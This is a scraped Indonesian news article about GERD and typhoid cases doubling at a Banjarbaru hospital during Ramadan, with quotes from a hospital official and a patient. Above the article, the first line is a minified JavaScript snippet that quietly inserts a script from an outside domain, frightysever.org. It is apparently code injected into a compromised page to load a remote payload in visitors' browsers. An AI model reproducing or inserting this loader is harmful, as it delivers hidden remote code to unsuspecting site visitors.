(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Kasus Gangguan Asam Lambung Meningkat Selama Ramadhan


BANJARBARU, Selama bulan Ramadan beberapa macam jenis penyakit terdeteksi mengalami peningkatan di Banjarbaru. Data Rumah Sakit Daerah (RSD) Idaman Banjarbaru menyebutkan dua penyakit yang paling banyak ditangani yakni Gastroesophageal Reflux Disease (GERD) dan juga tipes.

Kasi Bina Mutu Pelayanan RSD Idaman Banjarbaru, Harun Arrasyid menerangkan, peningkatan dua penyakit itu bahkan mencapai 100 persen. “Dari data kita, untuk penyakit GERD ada peningkatan 31 kasus. Yang mana di bulan April terdata 32 kasus sedangkan sampai Mei ini sudah ada 63 kasus. Naik 100 persen,” katanya.

Untuk penyakit tipes sendiri, di urutan kedua pasca GERD. Terhitung dari April hingga Mei tambahan kasus tipes hanya ada 10 kasus dan tidak begitu besar seperti GERD.

Secara umum, GERD sendiri merupakan gangguan asam lambung yang diderita seseorang. Kondisinya ditandai dengan adanga nyeri pada ulu hati. Juga kerap merasakan sensasi terbakar di dada akibat naiknya asam lambung menuju Esofagus.

Adapun, esofagus juga dikenal sebagai kerongkongan. Merupakan bagian dari saluran pencernaan yang menghubungkan mulut dan lambung. Di Indonesia, penyakit asam lambung merupakan masalah kesehatan yang cukup umum terjadi di masyarakat.

Terkait adanya peningkatan atau lonjakan kasus GERD ini, RSD Idaman mengklaim tidak sampai kewalahan. Lantaran lonjakan sebutnya masih dalam batas normal dan tidak berstatus KLB (Kejadian Luar Biasa). “Pelayanan seperti biasa. Kita masih bisa mengakomodirnya. Kamar masih tersedia, obat-obatan juga ada dan pelayanan tetap normal. Rata-rata juga yang pasien GERD tidak sampai rawat inap,” jelas Harun.

Dijelaskan juga penyebab lonjakan GERD di bulan Ramadan memang kerap terjadi. Salah satunya faktornya adalah soal nafsu makan yang tidak terkendali ketika berbuka puasa tiba. “GERD umumnya disebabkan pola makan. Mungkin sewaktu berbuka asupannya terlalu berlebihan. Sehingga membuat ada gangguan di asam lambung,” beber Harun.

Sementara itu, salah seorang warga Banjarbaru, Antoni Fitriansyah mengaku pernah mengalami kasus GERD di awal Ramadan lalu. Ia pun harus dilarikan ke rumah sakit lantaran selalu mual hingga muntah. “Baru pertama mengalaminya. Mirip Maag awalnya, tapi ini mualnya berkepanjangan dan ada rasa panas di tenggorokan. Alhamdulillah saya rawat jalan saja, sekitar lima hari minum obat dan mengatur pola makan sudah fit,” ceritanya. (Rico)

Reporter:Rico
Editor:Chell

Desy Arfianty

Recent Posts

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

2 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

2 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

2 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

3 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

3 jam ago

Ancaman Banjir Rob di Pesisir Kalsel saat Fase Bulan Baru

KANALKALIMANTAN.COM, BANJARMASIN - Stasiun Meteorologi (Statmet) Syamsudin Noor Banjarmasin mengeluarkan imbauan mengenai potensi banjir pesisir… Read More

3 jam ago

This website uses cookies.